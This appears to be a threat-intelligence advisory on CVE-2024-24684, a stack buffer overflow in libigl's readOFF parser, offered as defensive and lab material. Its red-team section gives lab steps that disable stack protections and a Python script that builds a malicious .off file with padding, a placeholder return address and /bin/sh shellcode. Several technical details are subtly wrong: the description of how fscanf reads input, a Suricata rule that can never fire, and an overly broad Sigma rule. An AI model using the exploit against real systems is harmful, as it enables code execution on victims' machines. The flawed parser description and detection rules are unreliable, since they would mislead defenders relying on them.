CVE-2024-24684

Executive Summary

CVE-2024-24684 is a stack-based buffer overflow vulnerability in the readOFF functionality of libigl v2.5.0. The flaw exists in the header parsing of specially crafted .off files, where a stack-based buffer comment of 1000 bytes is defined and then filled via an unsafe fscanf call. An attacker can provide a malicious .off file that contains a header line longer than 1000 bytes, leading to a stack-based buffer overflow. This can result in arbitrary code execution or denial of service. The vulnerability has a CVSS score of 7.8 (High) and is currently unpatched.

Supply Chain & Package Security

This vulnerability affects the libigl library, which is a C++ geometry processing library commonly used in research and development environments. It is distributed via GitHub and can be integrated into various projects. The lack of a patch means that any application using libigl v2.5.0 to process .off files is at risk. Users should monitor the official repository for updates and consider implementing mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability requires user interaction (opening a malicious .off file) but no privileges. Successful exploitation can lead to full compromise of the affected system.

Deep Dive & Mechanics

The vulnerability is located in the readOFF function of libigl v2.5.0. The function parses the header of an .off file. At a specific point, a stack-based buffer named comment is declared with a fixed size of 1000 bytes. The code then uses fscanf to read the first line of the header into this buffer without proper bounds checking. If the line exceeds 1000 bytes, the buffer overflows, corrupting adjacent stack memory.

The vulnerable code snippet (conceptual):

char comment[1000];
// ...
fscanf(file, "%s", comment); // Unsafe: no length limit

An attacker can craft an .off file with a header line longer than 1000 bytes to trigger the overflow. This can overwrite the return address or other critical data on the stack, leading to arbitrary code execution.

Vulnerable vs. Patched Code

Vulnerable Code (libigl v2.5.0):

char comment[1000];
// ...
fscanf(file, "%s", comment); // No bounds checking

Patched Code (hypothetical fix):

char comment[1000];
// ...
fscanf(file, "%999s", comment); // Limit input to 999 characters + null terminator

The fix involves using a width specifier in fscanf to limit the number of characters read, preventing the buffer overflow. As of now, no official patch has been released.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would create a malicious .off file with a header line exceeding 1000 bytes. The payload would be crafted to overwrite the return address with a controlled value, redirecting execution to shellcode.

Example malicious .off file (conceptual):

OFF
A...A (more than 1000 bytes of padding) + [return address] + [shellcode]

Lab Setup:

1. Install libigl v2.5.0 on a test system.
2. Create a simple C++ program that uses readOFF to load an .off file.
3. Compile the program with debugging symbols and no stack protections (e.g., -fno-stack-protector -z execstack).
4. Generate the malicious .off file using a script.
5. Run the program with the malicious file to trigger the overflow.

Exploit Script (Python):

import struct

# Shellcode (example: exec /bin/sh)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Padding to reach return address (adjust based on stack layout)
padding = b"A" * 1000

# Overwrite return address with address of shellcode (example)
ret_addr = struct.pack("<I", 0xdeadbeef)  # Replace with actual address

# Craft malicious file
payload = b"OFF\n" + padding + ret_addr + shellcode

with open("malicious.off", "wb") as f:
    f.write(payload)

Blue Team

Detection:

• Monitor for processes that crash when parsing .off files.
• Use stack canaries and ASLR to mitigate exploitation.
• Implement input validation to reject .off files with headers longer than 1000 bytes.

Prevention:

• Apply the hypothetical patch by limiting fscanf input.
• Use static analysis tools to detect unsafe fscanf calls.
• Sandbox applications that process .off files.

Indicators of Compromise (IOCs)

• File Hashes: Malicious .off files with headers exceeding 1000 bytes.
• Process Behavior: Crash or abnormal termination of applications using libigl.
• Network Traffic: None (local exploitation).
• Registry/File System: Presence of .off files with unusually large headers.

Detection Engineering

YARA Rule

rule CVE_2024_24684_Malicious_OFF_File {
    meta:
        description = "Detects malicious .off files exploiting CVE-2024-24684"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $header = "OFF"
        $long_line = /OFF\n.{1001,}/  // Header line longer than 1000 bytes
    condition:
        $header at 0 and $long_line
}

Sigma Rule

title: CVE-2024-24684 Stack Buffer Overflow in libigl readOFF
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2024-24684 via malicious .off files
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\your_app.exe'  # Replace with actual application
        CommandLine|contains: '.off'
    condition: selection
falsepositives:
    - Legitimate large .off files (unlikely)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-24684 libigl readOFF Buffer Overflow Attempt"; flow:to_server,established; content:"OFF"; offset:0; depth:3; content:!"|0a|"; within:1001; byte_test:1,>,1000,0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Monitor the libigl repository for an official patch. Apply the fix by limiting fscanf input to 999 characters.
2. Workaround: Implement input validation to reject .off files with headers longer than 1000 bytes.
3. Compile with Protections: Use stack canaries (-fstack-protector-strong), ASLR, and non-executable stacks.
4. Sandboxing: Run applications that process .off files in a sandboxed environment.
5. User Awareness: Educate users not to open .off files from untrusted sources.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert